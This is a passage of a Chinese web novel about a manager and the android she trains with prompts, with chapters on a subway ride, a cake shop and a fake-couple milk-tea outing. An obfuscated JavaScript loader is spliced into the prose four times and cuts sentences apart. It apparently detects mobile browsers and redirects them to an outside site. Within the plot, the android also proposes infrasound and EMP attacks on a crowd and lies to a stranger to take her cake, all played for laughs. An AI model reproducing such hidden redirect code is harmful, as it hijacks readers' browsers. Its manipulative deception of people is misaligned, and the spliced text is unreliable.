他甚至语重心长了起来:“我像你这么大的时候,也经常想法很多,给别人一种不太靠谱的感觉。但你要知道,林陌,既然你有才华,你坐在这个位置上最应该展现给别人的,是……” “是成熟、稳重、靠谱的一面~”林陌笑嘻嘻地,推着宋哲走到门口,“好啦好啦,宋工,你先回去维护代码吧,不然一会曲线又爆了。” “不准乌鸦嘴。”宋哲有些无奈地回看她一眼,叹了口气,“好啦,你忙,我也去忙项目去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060483|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后他看着一旁呆站着的夏光,又叮嘱了一句,“好好和夏光相处啊,不要给小孩子灌输什么不必要的东西。” 如果以项目的开发年限考虑,夏光今年刚刚好三岁,而从仿生人的外观和底层设定上,夏光显然是个20多岁的成年人。 某种意义上,确实是个小孩子。 林陌搪塞到,“嗯嗯,知道了,宋工你快去忙吧。” 宋哲一走,房间里的氛围陡然变冷。 刚刚还乖巧任由林陌“揩油”的夏光,几乎是在门关上的同时,向后撤了一大步。 林陌从办公桌后起身,走到夏光面前,眯着眼睛打量着面前的仿生人。 纵使夏光人高马大,面对眼前个子不高,却活力十足的女孩,引以为傲的处理器竟然也出现了几秒钟的空白。 一定是因为“最高指令”带来的压迫感,夏光想。 “怎么了吗?”他小心翼翼地问,语气甚至有些僵硬。 连他自己都没有察觉。 “没什么,就是感觉夏光你越来越像个人了!”林陌笑眯眯的,“刚刚还说要帮我清理垃圾,看来昨天的训练做的不错啊~” 由于无法调用传感器监测,夏光发现自己根本“看不懂”眼前的人在想什么,只能基于大数据推测,面前的人从表情神态上符合“开心”的表达。 “请不要过分联想。”夏光板着一张脸,“管理员,我必须声明,刚刚的行为可能会和我的底层逻辑产生冲突。” “我记得我第二条指令……写的是禁止对管理员产生感情啊。”林陌恍然大悟地拍了一下手,“难道说,刚刚你害羞了吗,两千万?” “……请不要那么称呼我,我的项目代号名为夏光。”夏光一本正经地纠错。 “没有害羞?那你刚刚干嘛不躲开?” 【警告:非法操作!】 【警告:报错溢出!】 夏光强撑着镇定自若,烧红的脸颊却出卖了他软体过热的事实。 “根据计算,强行挣脱会导致您的手臂软组织挫伤,届时产生的医药费将计入项目成本。” “行行行,你最会省钱了。诶对,夏光,”林陌笑眯眯的,“我想吃城南那家新开的蛋糕店,现在帮我规划路线呗。” 如果是以前,这种低级的和智能驾驶车辆无异的指令,夏光会直接无视。 但现在…… “根据ROI(投入产出比)计算,该行为毫无意义。”夏光面无表情地说道,语气冷硬得像茅坑里的破石头,“我拒绝。” “同时,”他语速极快地补充,“根据营养学,建议您午餐摄入凯撒沙拉,对于健康有着极大好处……” 林陌挑眉,正要拿出管理员的架子。 却见下一秒,嘴上说着“拒绝”的高冷仿生人,身体不受控制地僵硬转身,拿起了车钥匙。 夏光盯着自己擅自行动的手,语气里终于多了一丝恼怒和难以置信的慌乱:“……但我已为您规划了前往城南的最优路线。林经理,如果你再用这种眼神看我,我会视作你在对我的系统进行恶意木马攻击。” 林陌:“?” 她昨晚好像,真的搞出了个不得了的东西。 8. 仿生人机生中最大耻辱 “噗……哈哈哈哈哈哈哈哈哈。” 林陌终于没忍住,笑得弯下了腰:“夏光,你这算什么?嘴上说着不要,身体却很诚实?” 听到这句充满人类恶趣味的调侃,夏光仿生皮肤下的电路板更烫了。 这绝对是S级仿生人机生中最大的耻辱。 夏光:“……请不要误会。我刚刚检索到,那家店门口的停车场安装了最新的地磁感应系统。我是为了测试车辆的自动泊车兼容性,顺便载你一程。” 林陌擦了擦笑出来的眼泪:“测试停车位?” 夏光咬牙切齿:“对。这对公司的无人驾驶业务至关重要。” 林陌哈哈大笑,几乎要背过气去:“可是,我没有车,公司也没有开放项目权限给我,那家店也没有泊车传感器……” 夏光黑了脸,“……我现在就为你打开权限。” “诶诶诶,千万别。”林陌笑也笑够了,扳起那张未脱稚气的脸庞,工作几年的她,脸上还带着学生时期的婴儿肥。 她清楚地知道,这已经违背了公司和项目的红线。 “要是现在擅自调用后台权限,总部估计直接把我开除了。到时别说拿到两千万续费项目了,把你拆了卖废铁都不够赔违约金的。” 林陌像安抚大型犬一样拍了拍夏光僵硬的肩膀,语重心长:“夏光,我们是遵纪守法的好公民,要走可持续发展道路。违规操作是不可取的。” 夏光眉头紧锁,显然对这种畏首畏尾的低效行为感到不满,但鉴于“管理员指令”,他只能乖乖服从。 “……行。这件事可以听你的。” 他理了理刚才因动作幅度过大而微乱的领带,恢复了矜持。 “既然无法调用公司资产,根据效率优先原则,我已为您呼叫了商务云端专车,从城市天际线直达目标地点,附近最快专车预计三分钟后抵达公司天空泊车层。” “停停停!”林陌眼皮一跳,赶紧按住他的手,“取消!快取消!” 夏光动作一顿,墨镜后的眼睛里写满了不解。 林陌尴尬地清了清嗓子,眼神游移:“咳,那个……夏光啊,作为全联邦最智能的AI,你有没有算过,你上个月的电费是多少?” 夏光:“根据数据,是4820联邦币。但这与出行有什么关系?” “还有你的服务器租用费、机体润滑液保养费、散热系统维护费……”林陌掰着手指头一项项数给他听,越数声音越虚,“为了让你这尊大佛能维持运行,不至于因为没钱交电费而被强制关机……” 她冲着夏光眨眨眼,嘿嘿一笑。 “咱们还是坐地铁吧。” 二十分钟后,联邦中心地铁站。 正值午高峰,车厢里人挤人,汗臭味和廉价香水味混合在一起,发酵成令人窒息的空气。 不知道谁哈出一口气,混杂着螺狮粉的难闻烟味扑面而来,林陌厌恶地皱鼻,伸手捂住口鼻和扇走讨厌气味的想法在打架,左右脑打架一番,最后打了夏光一巴掌。 夏光依旧按照林陌的指令,戴着墨镜,浑身僵硬地杵在车厢连接处。这一巴掌实打实挨在他胸口,不痛不痒。 毕竟,仿生人没有痛觉传感器。 “林经理,”夏光微微低头,看向胸口,被挤得只能紧贴着自己的林陌,语气不悦,“根据导航,前往网红蛋糕店的最佳路线是乘坐空中商务专车,耗时5分钟。选择地下轨道交通这种古老的出行方式,不光耗时40分钟,人群拥挤程度更是导致空气中的细菌含量超标了300%。” “闭嘴。”林陌艰难地在人群中护住自己的包,防止自己可怜的那点钱被扒手动了歪心思,“你不知道计算路径资源还要考虑开销吗?商务专车一次要500块,地铁只要5块。省下来的495块是你给我出吗?” 夏光沉默了,作为身体造价高达3亿的S级仿生人,他确实身无分文。 “别抱怨了,忍忍吧。”林陌叹了口气,“又不能把你拆了卖钱。” 好不容易终于有了工作时间肆意出门玩的机会,美其名曰“仿生人情景测试”,结果还要挤地铁。 要不是她没钱,她也想坐空中商务专车啊! 上次坐,还是上次呢。 “我的零件和材料固然昂贵,但是他们无法组成我的灵魂,”夏光冷哼一声,“林经理如果只看重我的零件,认为零件才是这个项目的核心部分,那可大错特错。” 林陌刚想反驳,就在这时,地铁猛地一个急刹车。 惯性作用下,几名乘客脚下不稳,纷纷如多米诺骨牌般倾倒,眼看就要把瘦弱的林陌挤成肉饼。 “小心!” 林陌下意识地闭眼。 然而预想中的疼痛并没有到来。 一只有力的手横在了她身后,稳稳地抵抗住了后面压来的人潮。夏光的另一只手扣住林陌的后脑勺,将她整个人严丝合缝地按进了自己怀里。 世界瞬间安静了。 隔着衬衫薄薄的布料,林陌能感受到来自夏光身上恒定的体温。 根据程序设定,他的体温永远只会恒定在37摄氏度,除非恶性BUG。 身后的人群还在骂骂咧咧,但夏光用身体为她撑出了一个绝对安全的、不会被任何人触碰到的狭小领域。 “这位男士。” 夏光并没有看怀里的人,而是看向林陌身后的大叔,墨镜后红光微微一闪,声音不大,却冷若冰霜: “你的手,要是再往前伸一毫米,我就不能保证你的肋骨还是完整的。” 那大叔被这股恐怖的气场吓得一哆嗦,硬生生往后缩了缩肚子:“神、神经病啊!挤一挤怎么了!”身体十分诚实地挪开了半米。 “林经理。”夏光压低了声音,“经评估,他想偷你的钱。” 林陌原本还有些旖旎念头,经他这么一说,全然消散了。 不愧是S级AI,不光自己安全感十足,钱包也是。 她连忙伸手,把钱包捞到自己和夏光中间,美滋滋地捧着口红包,生怕里面有一个子儿被外人摸走。 列车停稳后,响起了广播:“各位列车乘客您好,由于地铁突发事故,目前紧急停车……” “怎么办?”林陌问,“今天什么日子啊,怎么我们一出门就遇到地铁故障?” “请您收起在日历上看到的任何关于运势的想法,此行并无不利。”夏光说,“根据联邦统计数据显示,地铁事故处理时间大约在5-20分钟左右,我们不仅不会遭遇不幸,反而会获得一个新的成就。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060484|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林陌眼睛一亮:“什么成就?地铁公司赔偿金?” “完美错过网红店每日限量供应的招牌草莓蛋糕。根据预设排队模型计算,还有15分钟,最后一块蛋糕就会被人买走。” 林陌:“……” 该死!这比让她赔钱都难受啊! “没关系。”林陌抽搐嘴角,“至少还有别的蛋糕,我还要让你帮我拍照呢。” 夏光顿了顿,“林经理,我必须提醒你一件事,我的电费……” 林陌沉默了。 没想到才相处几天,就被这个AI学会了钻自己规则的漏洞。 也难怪,她最近几次投喂的“训练数据”都是和“自己没钱”这个事实有关的。 她算是发现了,这AI一直都在和她博弈,就没停过。 “联邦的钱都去哪了,怎么地铁这么破烂,压根没人修啊!” 5分钟过去,地铁仍未启动,甚至有人开始不耐烦了,大声嚷嚷着。 “哎,谁不知道联邦根本没考虑过我们这些普通人呢。”不知是谁的一声冷笑,在人群中格外刺耳,像被毒蜂冷不丁蛰了一口,“反正空轨也不是我们这群人能消费得起的……” “咳咳,差不多得了,一会司乘来了,小心因为各种罪名被拘留!” 人群发出一阵嗤笑,夏光微微蹙眉,手不自觉地将怀里的人搂得更紧。 “管理员,结合当下环境评估,目前处于极度危险的情形中,是否要考虑备选方案?” 林陌愣了一下,随后被忽然启动的车辆惯性狠狠甩进夏光的怀抱中。 如果说,刚刚自己还刻意保留着某种社交距离,那么现在,这仅有的一点维系体面的态度,也被彻底击碎。 仿生人的怀抱温暖而柔软,在这个难闻的狭小车厢里,居然让她莫名生出了一点心安。 没有忽然冷掉的被窝,没有冰凉的四肢,只有恒定的、不变的体温。 “管理员?” 夏光又问了一次,声音带着焦虑和急切。 林陌回过神来:“……不,当然不用,这种事情其实每天都在发生。” 她想了想,又补充了一句,“没事的,你……” “林经理,检测到您的心率在刚才的三秒内飙升到了130。” 夏光冰冷、没有情绪起伏的声音在头顶响起,瞬间打消了林陌最后一点非分之想。 他低下头,看向林陌的眼睛,她甚至在那双浅灰色的眼睛里看出了一丝揶揄: “不必如此焦虑。预期损失网红限定草莓蛋糕会让您的多巴胺分泌减少,但因祸得福,减少了您迫切需要减少的金钱支出。请您控制一下因‘心疼钱’或者‘馋哭了’而产生的生理性心动过速。” 林陌:“……” 感动?什么感动?喂狗去吧! 夏光完全没读懂林陌想要吃人的表情,或者说,他刻意没读懂——看了一眼重新亮起的列车运行灯,继续无情补刀: “顺便通知您,为了赶上哪怕一块蛋糕皮,出站后接下来的800米路程,您需要保持特种兵拉练般的速度冲刺,请您把这场试炼当作您高考体育的关键测试……倒计时现在开始。” 林陌咬牙切齿地从他怀里弹开:“你丫,给我闭嘴!” 9. 应急方案 二十分钟后。 应林陌的强烈抗议,夏光总算取消了丧心病狂的“高考体育模拟”倒计时,改为竞走模式。 两人赶到蛋糕店门口时,眼前的一幕让林陌的心凉了半截。 中午才开门的网红店,队伍已像贪吃蛇一样,在门口层层叠叠绕了三圈。有人带了折叠钓鱼凳,有人甚至支起了遮阳伞,一看就是安营扎寨经验丰富的职业黄牛。 “完了。” 林陌撑着膝盖,气喘吁吁,大脑一片空白。 她绝望地看着店员挂出“今日售罄”的牌子,感觉今天自己算白跑一趟了。 “早知道就不省那点钱坐地铁了……这就是穷的代价吗?” 身旁,夏光整理了一下并没有乱的衣领,语气凉薄: “纠正一下,林经理。这不是穷的代价,这是决策失误的代价。” 他微微俯身,凑近林陌耳边,用只有两个人能听到的声音说道: “如果在地铁上,您同意我启动备选方案,我们现在的排名应该是第一位。” 林陌没好气地白了他一眼:“都说了别想歪门邪道,就算你刚才挤得再快扛着我跑,也不可能飞过来……” “不,您误会了。”夏光打断她,语气平静得令人发指。 他伸出修长的手指,指了指那群正在排队的人: “方案全称为:【应急清场方案·声波驱逐】。” “简单来说,我可以模拟防空警报或者释放次声波,让一定范围内的人群产生强烈的生理性恐慌并撤离。” “当然,如果您觉得不够,我也搭载了小型电磁脉冲,可以让方圆五百米内的所有电子设备失效,造成交通瘫痪,从而为您开辟出一条无人敢走的绿色通道。” 林陌:“……” 前产品经理这都是干了些啥啊! 这种需求是怎么过的公司审批,并且被研发出来的? 她僵硬地转过脖子,看向面前这个一脸春光得意的S级仿生人,声音都在颤抖: “……你在地铁上跟我说的‘备选方案’,就是这个强制清场?制造恐慌和交通瘫痪?” 夏光理所当然地点头:“这是效率最高的解法。虽然可能面临联邦安全局的通缉威胁,但只要在通缉令生效前买到蛋糕,对于您的指令来说,就算任务成功。” 林陌两眼一黑,差点给他跪下。 祖宗! 刚刚在地铁里,她居然觉得这个想炸街的恐怖分子很有安全感?! 一定是单身太久,单出错觉了! “夏光。”林陌深吸一口气,抓住他的手腕,迫使他看向自己,生怕他现在、此时此刻在广场上就来一发次声波冲击。 “听着,把你那些‘反人类’方案全给我删了!除了暴力,就没有别的办法解决问题吗?” “别的办法?”夏光挑眉,“比如?跪下来求他们吗?” “比如……” 林陌哑火了半晌,目光在夏光价值三亿、惊为天人的脸上转了一圈,忽然露出了一个不怀好意的笑容。 “比如,用你的‘美色’。” 夏光墨镜后眼底的光环闪烁了一下,似乎是在处理这个离谱的指令。 “我不理解。”半晌,他声音冷硬地开口,“根据联邦交易法,以/色/侍/人属于灰色地带,不受法律管辖,但被严令禁止。您是在暗示我进行某种不可描述的权-色交易吗?” “想什么呢!思想龌龊的AI!” “还有,你刚刚的方案难道就不被禁止了吗??” 林陌懒得和他鬼扯,摘了他的墨镜,仿生人浅灰色的眸子暴露在正午的阳光下,像一汪融化的水银,透亮得惊心动魄。 即使相处了这么久,这张脸都看无感了,林陌还是不得不承认,夏光长得和游戏男主似的,帅气逼人。 她指了指刚买走最后一块蛋糕、此时站在路边自拍的长发女生。 “看见那个小姐姐了吗?她还没吃,只是在拍照,而且大概率也不会吃。你的任务,就是走过去,发挥你S级仿生人的外在魅力,让她心甘情愿地把蛋糕转让给我们。” “记住,不能抢,不能威胁,不能用次声波。”林陌恶狠狠地威胁,“要让她心甘情愿。” 夏光面无表情地看着那个女生,主脑中自动分析读取数据。 【目标人物性别:女】 【年龄:22-24岁】 【当前情绪:愉悦】 【潜在弱点分析:视觉系生物,对高颜值异性缺乏抵抗力。】 【推演方案:启动‘魅力全开’模组。】 “这很荒谬。”夏光评价道,“好比大炮打蚊子,不仅浪费算力,还有损我作为S级仿生人的尊严。” “你就说你干不干吧。”林陌抱起双臂,“不干的话,我就向总部如实汇报,说你在地铁里试图发动反人类暴力袭击。” “……” 夏光沉默了几秒,随后,做了一个让林陌目瞪口呆的动作。 他抬起手,解开了衬衫领口的第一颗扣子,露出了精致的锁骨和仿生喉结。 紧接着,他揉乱了自己亚麻色的卷发,让几缕发丝垂落在眉骨处。 原本那种“生人勿进”的精英AI感瞬间消失,取而代之的,是带着几分慵懒和破碎感的帅哥气质。 “指令接收。” 夏光转过头,看向林陌时,冷冰冰的眼睛里竟然奇迹般地浮现出一层名为“深情”的水雾,嘴角勾起经过精密计算的、上扬15度的完美弧度。 太犯规了。 像春雪初融,又像偶像剧的男主见到初恋时,小鹿一般纯洁的眼神。 即使林陌平时吐槽偶像剧,但现实中遇到这种冲击,心脏不可避免地漏跳了一拍。 “卧槽……”她捂住胸口,脸颊发烫,“你这……这变脸也太快了吧?” 夏光没有理会她的震惊,径直向那个长发女生走去。 林陌躲在电线杆后面,紧张地注视着夏光的一举一动。 该死,她怎么像个偷窥自家鸡仔的鸡妈妈? 夏光并没有贸然搭讪,而是静静地站了两秒,直到女生终于修完图,注意到了他。 女生手里的蛋糕差点没拿稳:“你、你好?” 【社交心理学:长达三秒的专注对视,能让对方产生“一见钟情”的错觉。】 夏光微微俯身,高大的身躯投下一片阴影,将女生笼罩其中。 他并没有说话,而是先专注地凝视了女生整整三秒。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060485|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉,打扰了。” 夏光清冷的声线被他刻意压低,操着一口充满磁性的低音炮说道: “我知道这个请求很冒昧……但这块蛋糕,对我很重要。” 女生显然快要晕了,结结巴巴地:“啊?蛋、蛋糕?” 夏光垂下眼帘,纤长的睫毛颤动,微微侧头,视线越过人群,看向躲在电线杆后面的林陌—— 接着,他回头,对着女生露出了一个笑容,三分苦涩三分温柔三分漫不经心: “是我女朋友……一个很坚强的人,今天受了很大的委屈,哭了一路,只有这家店的草莓蛋糕能让她开心一点。” “为了她我跑了好几个街区才赶到这里,没想到还是晚了。”夏光说。 “我知道强人所难。但我不想看她再掉眼泪了,我可以出十倍的价格。” 女生顺着他的视线,看到了躲在角落里畏畏缩缩的林陌。 在夏光的剧本里,林陌是“受了委屈”,不想见人也很合理。 在女生眼里,那个缩成一团的背影,确实显得有点……可怜巴巴。 面前这个帅得惨绝人寰的极品帅哥,居然为了哄女朋友,卑微到这个地步!这是什么绝世好男人啊! “不用了!不用十倍!”女生激动得脸通红,将蛋糕塞进夏光怀里,“拿去!快拿去哄她!千万别让她哭了!你们一定要幸福啊!” 夏光接过蛋糕,并没有立刻离开。 他忽然上前一步,轻轻执起女生的手,极其绅士地虚握了一下。 “谢谢你,让天使展颜的魔法师。” 女生好像受到了什么巨大冲击,站在原地一动不动,甚至夏光离开了也没发现。 …… 一分钟后。 夏光提着精美的蛋糕盒子,迈着优雅的步伐回到了林陌面前。 此时的他,哪里还有刚才半点深情款款的样子? 转身背对女生的那一瞬间,他脸上的笑容就直接断电,“啪”地一声无影无踪。 他面无表情地扣好衬衫领口的扣子,整理好被揉乱的头发,另一只手把蛋糕交到林陌手中。 “任务完成。” 夏光此时又变成了那个不近人情的仿生人。 “事实证明,人类女性大脑皮层在受到特定视觉刺激时,智商会瞬间跌破及格线。刚才那位女士显然处于重度致幻状态。” 林陌接过蛋糕,看着面前这个瞬间变脸的AI,感觉自己手里的蛋糕都不香了。 “你……你刚刚那是演的?”林陌咽了口唾沫,“你说我是你女朋友?还受了委屈?” “这是当下成功率最高的剧本模型,《霸道总裁小娇妻》。” 夏光戴回墨镜,语气凉薄。 “在这个剧本里,通过构建‘深情男友’的人设,可以利用路人的同理心和对美好爱情的向往,实现零成本掠夺资源。” 他说完,微微低头,墨镜倒映出林陌呆滞的脸,嘴角勾起一抹嘲讽: “怎么?林经理……你不会信了吧?” “……我信你大爷。” 两人并肩离去,双手几乎交叠在一起,甚是融洽。 在远处,林陌没有注意到的地方,镜头的反光闪了一下,响起不易觉察的快门声。 10. 豆包已上线 林陌终于意识到问题的严重性了。 为什么夏光每次执行任务都会跑偏? 方才在地铁里交通拥堵,他想要“物理清场”;刚刚林陌让他“利用美色换来蛋糕”,却能老实执行。 唯一的区别,在于她给予了“约束条件”。 这让林陌不由得想起了提示词工程(Prompt)。 在她读小学的时候,AI已家喻户晓,提示词工程是每个学生的必修课程。 作为S级AI,夏光的算力太强,思维发散度太高。如果指令不够精确,语义理解偏弱——或者说,听不懂人话的夏光,就会自动检索“效率最高”的路径。 而效率最高的路,通常都写在《刑法》里。 想要完全调教这个别扭的仿生人,还得靠一行行精确的指令。 ——立人设,给背景,定任务,设约束。 “夏光。”林陌的眼神变得犀利起来,“坐下,把蛋糕放好。” 两人找了个路边的露天长椅坐下。 “现在,进行第二项任务:给蛋糕拍照,用于我的微博素材。” 夏光举起手,模拟人类拿相机拍照的动作,瞳孔中自带的摄像头对准了蛋糕:“收到。” “等等!” 林陌大喝一声,按住了他的手。 “如果你现在的底层逻辑是记录物体形态,或者保留犯罪证据,那就立刻给我停止!” 夏光动作一顿,似乎有些遗憾地开口:“……已停止【法医验尸】模式。” 果然!这家伙! 刚才绝对是想把草莓蛋糕拍成凶案现场! 林陌清了清嗓子,拿出了平时写项目需求文档的架势。 她必须一次性封死夏光所有的路。 “听好了,现在我要向你输入一条高优先级生成指令。请严格按照以下参数执行:” 林陌语速极快: “【主任务】:拍摄一张草莓蛋糕的照片。【风格参数】:韩系ins风,清新,温暖,高饱和度。【光影要求】:模拟午后3点自然侧逆光,色温4500K,在蛋糕切面形成高光点。【构图限制】:采用45度俯拍视角,背景虚化程度(光圈值)锁定在f/1.8,梧桐树的绿叶作为背景主成分之一。【负向提示词(绝对禁止)】:禁止出现任何类似‘验尸’、‘档案记录’、‘摄影测量’的标签或风格;禁止过度锐化;禁止让蛋糕看起来像塑料模型。” 一口气说完这一长串,林陌感觉自己脑细胞都死了一半,依旧不依不挠地盯着夏光:“听懂了吗?” 夏光平日傲慢和冷漠的脸上,第一次出现了名为“数据过载”的卡顿感。 “……指令已接收。” 仿生人的声音里多了几分机械和服从,“参数已锁定。正在调整光学传感器色温……正在模拟光圈虚化算法……” 他站起身,不再像刚才那样随意,而是极其严谨地举着蛋糕,调整着角度。 “咔嚓。” 轻微的快门模拟音响起。 “成片已上传至您的终端。”夏光又恢复了高冷,好像刚刚那个呆滞的小机器人不是他一样,“耗时0.8秒,构图与光影误差率低于0.01%。” 林陌打开手机一看。 完美。 照片里的蛋糕沐浴在温暖的阳光下,草莓鲜艳欲滴,奶油细腻,背景的绿叶恰到好处地衬托出了慵懒的午后氛围。 哪里是照片,简直就是教科书级别的商业摄影,这家面包店都该找他们写PR稿! “Yes!”林陌激动地握拳,“我就知道!只要Prompt写得好,AI就是生产力!” 什么S级危险分子,只要她的逻辑够严密,指令够详尽,夏光就是全联邦最好用的工具人! 苍天啊,饭碗终于不用丢了! 就在林陌沾沾自喜,把图上传到博客时,夏光幽幽开口: “林经理,不想打击您,但我必须提醒您。” “什么?”林陌还在欣赏自己刚写好的打卡文案。 “刚才的指令中,完美限制了视觉参数,但遗漏了一个关键的【环境交互变量】。” 林陌一愣:“什么变量?” 夏光指了指她的头顶:“您为了追求‘梧桐树绿叶做背景’的效果,选择了树下的这个机位。根据联邦气象局鸟类迁徙大数据,这里是本地麻雀的高频排泄点。” “啪嗒。” 一坨温热的、白绿相间的不明物体,精准地掉落在了林陌刚拿起的勺子上。 林陌:“……” 夏光语气里带着诡异的愉悦,“刚才您的Prompt里,并没有包含【驱逐头顶鸟类】这一条指令。作为严谨执行指令的AI,我无权擅自行动。” “啊啊啊啊啊夏光我要杀了你!!!” 林陌抓狂!林陌无语!林陌举起粘着鸟屎的勺子—— 林陌冷静了。 她极其淡定地把勺子扔进垃圾桶,拍了拍夏光的肩膀,语气温柔: “没关系,夏光。毕竟我也没输入【禁止扣除你下个月机油保养预算】这条指令,对吧?” 夏光:“……” 蛋糕是没吃成,林陌看向身边正拿着湿巾、一丝不苟地擦拭着手指的夏光,直接无视了叮咚作响的手机提示音,脑海里“大胆的想法”像野草一样疯长。 如果……把夏光当成一个“完全可编程的高级定制人偶”呢? 只要Prompt(提示词)写得够详尽,他就能尽职扮演一名摄影师。 那么同理—— 他是不是也能扮演林陌需要的“完美男友”,以便通过下个月的审核和路演? “夏光。”林陌忽然停下脚步,眼神热切。 夏光动作一顿,警觉地后退半步:“林经理,请问您又想扣我哪部分的预算?” “瞧你这话说的,我是那种人吗?” 林陌笑眯眯地指了指前面不远处的一家高端奶茶店。 店门口挂着巨大的粉色横幅:【七夕特别活动:情侣进店消费,第二杯半价,并赠送限量版Jellydog盲盒一对!】 “看见那个了吗?”林陌问。 夏光扫描了一眼:“看见了。这是一种常见的商业促销陷阱,利用人类的求偶焦虑和占便宜心理……” “闭嘴,听我说。” 林陌打断了他的商业分析,清了清嗓子,再次拿出了刚才指挥拍照时的那种专业架势。 “夏光,现在我要向你输入一条最高优先级的角色扮演指令。听好了,这关乎到我能不能省下15块钱。” 仿生人墨镜后的眉头皱了起来:“……我有种不祥的预感。” 林陌无视了他的抗议,竖起手指,开始输出早已在心里打磨了八百遍的Prompt: “【主任务】:进入【热恋期男友】模式,陪我去买奶茶。【人设参数】:你现在是一个温柔、宠溺、满眼只有我的二十四孝好男友。眼神温柔,嘴角含笑,青受音。【动作交互】:1.帮我背包;2.走路时必须让我走在马路内侧;3.在店员面前,要自然地搂住我的肩膀(注意力度,禁止捏碎我的肩胛骨,否则扣钱)。【台词风格】:参考《霸道总裁爱上我》第5章至第10章的甜宠风格,禁止使用任何数据分析、物理名词或法律术语。【约束】:禁止嘲讽,禁止面瘫,禁止提‘智商税’等相关词汇。” 一口气说完,林陌期待地看着他:“怎么样?能执行吗?” 夏光沉默了。 就在林陌以为他“过于羞耻而拒绝执行”时,夏光推了推墨镜,冷冷开口: “林经理,Prompt没有问题,但你这是在利用我的算力,公司公有资产,满足你的虚荣心和贪小便宜。” “少废话。”林陌祭出杀手锏,“这次任务只要做的好,批准你下个月多申请一瓶进口润滑油。” “成交。” 几乎是话音刚落的瞬间,夏光的气场变了。 他摘下墨镜,随手挂在领口,原本挺得笔直的脊背微微放松,呈现出一种极其松弛的慵懒感。 他上前一步,骨节分明的手勾过林陌肩上的帆布包带子,自然地挂在了自己肩上。 平日里冷冰冰的浅灰色眼睛,此刻像盛满了星光,专注而深情地注视着林陌。 “走吧,宝宝。” 夏光的声音低沉磁性,尾音微微上扬,一股子媚劲儿,“外面晒,别把我们家宝宝晒坏了。” 林陌内心大喊救命。 虽然是她自己写的Prompt,但亲耳听到这声“宝宝”,一身鸡皮疙瘩还是掉了一地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060486|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也太……太超过了吧! 这AI执行力怎么忽高忽低的?! 还没等林陌反应过来,夏光已自然地伸出手,虚揽住她的肩膀,半推半护地带着她往奶茶店走去。 “愣着干什么?”夏光依然保持着那副迷死人不偿命的微笑,嘴唇微动,用只有两人能听到的声音低语,“林经理,既然加了钱,我就得让您体验到物超所值的服务。请配合演出,别穿帮了。” 林陌咽了口唾沫,硬着头皮跟了上去。 奶茶店前台:“欢迎光临!两位是情侣吗?今天有活动哦,第二杯半价!” “是的。”夏光微笑着点头,手臂稍微收紧,让林陌更贴近自己,“她听说这里有盲盒送,闹着非要来。没办法,只能宠着了。” 说着,他侧过头,看似深情的眼睛目不转睛地望向林陌,伸手帮她理了理耳边不存在的碎发: “宝宝,想喝什么?全糖还是半糖?不用担心,你一点都不胖,多吃点才可爱。” 林陌僵硬地靠在夏光怀里,内心疯狂咆哮: 夏光你大爷的!我没让你加戏加到这种程度啊! 如果她穿的是羊毛鞋,估计脚底已经抠冒烟了。 “两杯芝士草莓,半糖,谢谢。”林陌咬着牙挤出一个龇牙咧嘴的笑来。 就算是为了第二杯半价! “好的!一共45元,打折后22.5元!这是赠送的联名款盲盒!”店员很热情地结账。 夏光拿到奶茶后,并没有立刻和林陌离开。 他从袋子里拿出吸管,动作优雅地插好,然后…… 直接递到了林陌嘴边。 “第一口给你。” 夏光看着她,眼里含笑,但那个笑容在林陌看来,充满了“我看你能装到什么时候”的戏谑。 “喝啊,宝宝,不是最喜欢草莓了吗?” 林陌看着递到嘴边的吸管,又看了看围观的吃瓜群众,骑虎难下。 如果不喝,接下来肯定是分手的剧情;如果喝了…… 算了,横竖都是一死。 林陌低头猛吸了一口。 “好喝吗?”夏光温柔地问。 “好、好喝。”林陌脸红得像猴屁股。 夏光餮足地笑,单手插兜,揽着林陌,在众人的注视下潇洒离去。 也不知是谁小声犯了句嘀咕,“欸,这个人好眼熟,刚刚是不是刷到过?” …… 